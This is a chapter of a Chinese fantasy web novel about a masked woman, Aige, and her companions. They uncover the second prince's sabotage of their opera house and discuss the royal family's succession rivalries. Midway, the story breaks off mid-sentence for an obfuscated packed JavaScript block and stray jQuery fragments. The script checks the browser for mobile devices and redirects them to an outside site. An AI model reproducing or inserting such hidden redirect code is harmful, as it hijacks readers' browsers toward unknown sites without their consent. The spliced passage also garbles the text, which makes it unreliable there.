“又是二王子。”


    艾歌听完伊茜多二人捡人回来的来龙去脉，本来把玩在手中的餐刀，直接插在了火腿上，也讲起了她们不在的这一天，她做了什么事。


    *


    当伊茜多和幼娜去接赫伯特的委托，而艾歌则是留在歌剧院编排《蔷薇的故事》。


    而在控制室观看《血色婚宴》演出效果的马丁，面色慌张地来找艾歌讲他看到的内容——


    有观众偷偷带着匕首进来，然后在演出过程中自残。


    人不会无缘无故伤害自己，这样不符合逻辑的行为必然有什么原因。艾歌立马派人去调查这个观众的身份，发现他频繁出入二王子的庄园。


    事情顿时就豁然开朗了。


    互动恐怖演出的形式和高昂的奖金吸引了一部分胆大的冒险者前来，让歌剧院有起死回生之效，这样的势头岂能让二王子舒服？因此，他买通了一个要参加演出的冒险者，叮嘱他在演出过程中自残，造成是亡灵攻击的结果。


    但二王子并不知道，演出整体是个幻境场地，离开幻境什么伤害也没有。除非在售票处就直接自残，可这样光天化日，谁又能相信呢？


    马丁把这个事情结束后，立马就跟艾歌商讨该怎么解决接下来二王子的找茬。


    “伊茜多女士太温柔，想来没怎么处理过这些卑劣的手段。”他忧心忡忡地说道。


    艾歌挑眉，不太喜欢这个语气，不像是夸伊茜多，“马丁先生，是怎么打算的？”


    “艾歌先生，二王子是绝不会放任我们歌剧院生意好转，”马丁在屋中徘徊，“我猜测他在歌剧院做手脚失败，就会买通那些观众，在歌剧院外做文章。”


    之前他也买过一些好东西献给二王子，想要化解这恩怨，但结果不尽人意。二王子最初是想要这块地做跑马场，但这么多年杠着，怕是买下这块地什么都做不了二王子都会愿意了。


    “很有可能。”艾歌赞同地点点头。她自己都能想出好几个抹黑的方法，更别提对家了。


    例如买通了几个人，造谣说参观了演出回去就生了重病，分明是亡灵的诅咒，此地不详，会带出厄运，甚至传播给家人。


    人们对蔷薇歌剧院并没有完全消除阴霾，当这样的谣言出现的时候，附近的居民肯定会相信厄运是随着演出扩散的。


    “此外，我打听到月亮歌剧院马上要出新的剧目了，而且门票价格极为低廉。”马丁不停地在屋内徘徊，连声叹气，“我们不能只防守，总要进攻吧。”


    言下之意，是对月亮歌剧院下黑手。这样的方式伊茜多是肯定不会同意的，这也是他来找艾歌谈的原因。


    艾歌确实不会介意这些商业上的抹黑手段，并且给马丁提供了一些更有力的方案。


    甚至她在思考，既然得罪了二王子，不可能防敌千日，那么该如何让这个事情彻底告一段落呢？


    *


    听完艾歌的讲述，伊茜多站起身来看向远处城堡的尖顶，高耸入云，金光闪闪，得出结论，“二王子之所以这么嚣张是因为他背后的权势。”


    艾歌拔出火腿肉中的餐刀，“没错，国王。”


    幼娜还是比较天真的，“那我们去跟国王告状有用吗？”


    伊茜多摸了摸幼娜的头，讽刺道，“有用啊，等二王子成为新的国王后，就更有用了。”


    “为什么他能成为国王？”幼娜有些纳闷，“不都是长子继位的吗？”即使二王子颇受宠爱，但也不至于跃过继承顺序吧。


    这里就涉及到了王室更为复杂的背景了，艾歌以火腿为例，切割了好几块给二人讲起了阿华特的宫廷关系——


    国王席拉五世多情，先后娶了三位王后，第一任安妮王后先后生下两个女儿，都病逝了，王后也抑郁而终。


    第二位南林王后是国王的情人，生下私生子也就是如今的大王子，后在安妮王后去世后被扶正，又生下了二王子和三公主（已夭折）。


    即使大王子和二王子同母所出，但是地位也有分别，二王子出生更加正统，得到贵族们的认可。


    “原来如此，”幼娜恍然大悟，私生子的地位十分尴尬，哪怕他确实是国王的长子，可他出生时并非婚生，“国王好过分啊，竟然不忠于婚姻弄出私生子来！”


    幼娜并不知道，这在王室并非个例，每一任国王都有自己的情妇，私生子更是数不胜数。只是把情妇扶正的偏少，所以才会造成大王子的尴尬局面。


    “这才哪到哪，”艾歌调侃道，“你知道现在的第三位王后克丽丝是如何上位的吗？”


    “嗯？”两人露出八卦的神情。


    第三位克丽丝王后，是南林王后的侍女，王后生产之际发现了他们偷情的行为，一气之下难产而亡。而克丽丝以自己孕育双胎为由，躲避了斥责惩罚，最终封为了王后。


    不过双胎中的小公主出生不久后夭折了。


    “太恶心了吧，”幼娜满脸嫌弃，“真的是花心大火腿，”她忍不住拿起餐刀继续切切切。


    “克丽丝王后和三王子如今的地位如何？”伊茜多倒是在琢磨这里头可以利用的关系。


    艾歌望着陶杯边缘凝结的奶皮，指尖无意识摩挲着杯壁粗糙的纹路：“你知道王室是怎么用牛奶的吗？”


    幼娜忍不住猜测，“不会是牛奶泡澡吧？”


    “奢靡。”伊茜多并不羡慕，反而想到的是这笔钱从哪里来？自然是剥削百姓，以几万人的艰苦生活来供养王室的奢靡浪费。


    艾歌点点头，“你们还可以去看看国王为她新修的夏宫，整面墙的银镜能照出三百个舞姿，连地砖都是用东陆运来的珐琅彩瓷拼的玫瑰。


    每年克丽丝王后将在夏宫举办一整个月的舞会，千万支蜡烛在一个个晚上消失。”


    伊茜多的木勺 “当啷” 撞在碗沿。她望着漏进窗内的几缕阳光，在稻草堆上投下细碎光斑。


    楼下传来面包师推车经过的轱辘声，混着孩童讨要面包渣的哭闹。这些声音忽然变得刺耳——


    当千万支蜡烛燃烧时，而普通百姓却连蜡烛头都要攒起来换钱。


    “上个月国王又加了盐税，这是今年加的第四次了，” 艾歌把原先啃剩的黑面包再次摆在了桌子上，麦麸硌得掌心生疼，“磨坊主


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631605|162345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说风车的齿轮锈得转不动了，可王后的新马车，车轮镶的都是金边。”


    “民间有风声指责王后的奢靡，”艾歌冷笑一声，“却无人敢指责背后的国王。”


    “二王子和克丽丝王后应该关系不好吧，”幼娜难得敏锐了一回，“国王这么喜欢克丽丝王后，那么他应该也会有压力吧。”


    艾歌的眼睛里闪过一道赞赏的光芒，“没错，事实上二王子如果想要王位，既要对抗一母同胞的兄长，又要防着克丽丝王后和小王子，他必须要成为国王最喜欢的那独一无二的孩子。”


    克丽丝王后的一切地位都源于国王，而二王子不也如此吗？


    最开始艾歌来王都想做的就是闷声赚钱，虽然知道歌剧院得罪了二王子，但能避就避，只是听了胡娜的故事后，想的就是退无可退，不如主动出手让二王子彻底无缘王位。


    ——谁来犯我，必诛之。


    “艾歌，你对阿华特宫廷也太了解了吧？”幼娜忽然把目光落在艾歌身上，上上下下打量，“难不成你也是王室之人？又或者是哪个假死的公主？”


    听到这话，艾歌轻笑出声，“公主？我倒是真的在寻找有没有哪个公主是假死的，”她把玩着餐刀，“毕竟夭折的公主也太多了。”


    伊茜多抿了抿唇，“如果真得有公主在世，王位会传给她吗？”


    艾歌摇了摇头，“哪怕她做的再好，人们也会感叹说可惜你不是男人。”她略显怅然地看着餐刀倒映着的自己，戴着面具，永远把自己藏在一张又一张的皮下。


    “艾歌，你是不是以前也被这样打压过啊？”伊茜多蓦然心疼起了眼前的人，这番话的语气分明是亲身经历过才能这样说出来。


    面具下的神色无人能看清，除了艾歌自己，“他们越是打压我，我越是要反抗，所有的指责当彼此之间的距离遥不可及时，只会变成赞美。”


    在绝对的实力面前，没有“可惜”。


    “我确实与王室有关系，但这个关系可以理解为是我想方设法谋取而来的，毕竟一切靠自己嘛。”


    艾歌突然露出了自己的底牌，展示出自己的野心，“我来自双月城，如果那个女孩没地方去的话，可以送到双月城，我的人会照顾好她的。”


    “双月城？”幼娜有些震惊，她们这一路的冒险好像确实没有去过这个地方，那是怎样的一个地方，生长着这么野心勃勃的女人？


    “等我恢复完全后，”艾歌顿了顿，“我会回到双月城，欢迎你们日后来找我。”


    伊茜多叹了口气，当队友开始主动暴露自己的过往或者秘密时，往往意味着接下来她会做出些大事件，而这样的秘密份量是一种无形的拉拢。


    奇怪，她为什么会这么熟悉这套规则？伊茜多睁大了眼睛，难道在她失忆以前，也经常听队友的秘密吗？


    “那岂不是很快就要分别了？”幼娜略显不舍地看向艾歌，哪怕她没有看到面具下的皮肤，但很显然艾歌在康复，也许面具下早就是一张毫无龙裔特征的人族面庞。


    “嗯，”艾歌点点头，“所以在接下来有限的时间里干一票刺激的吧。”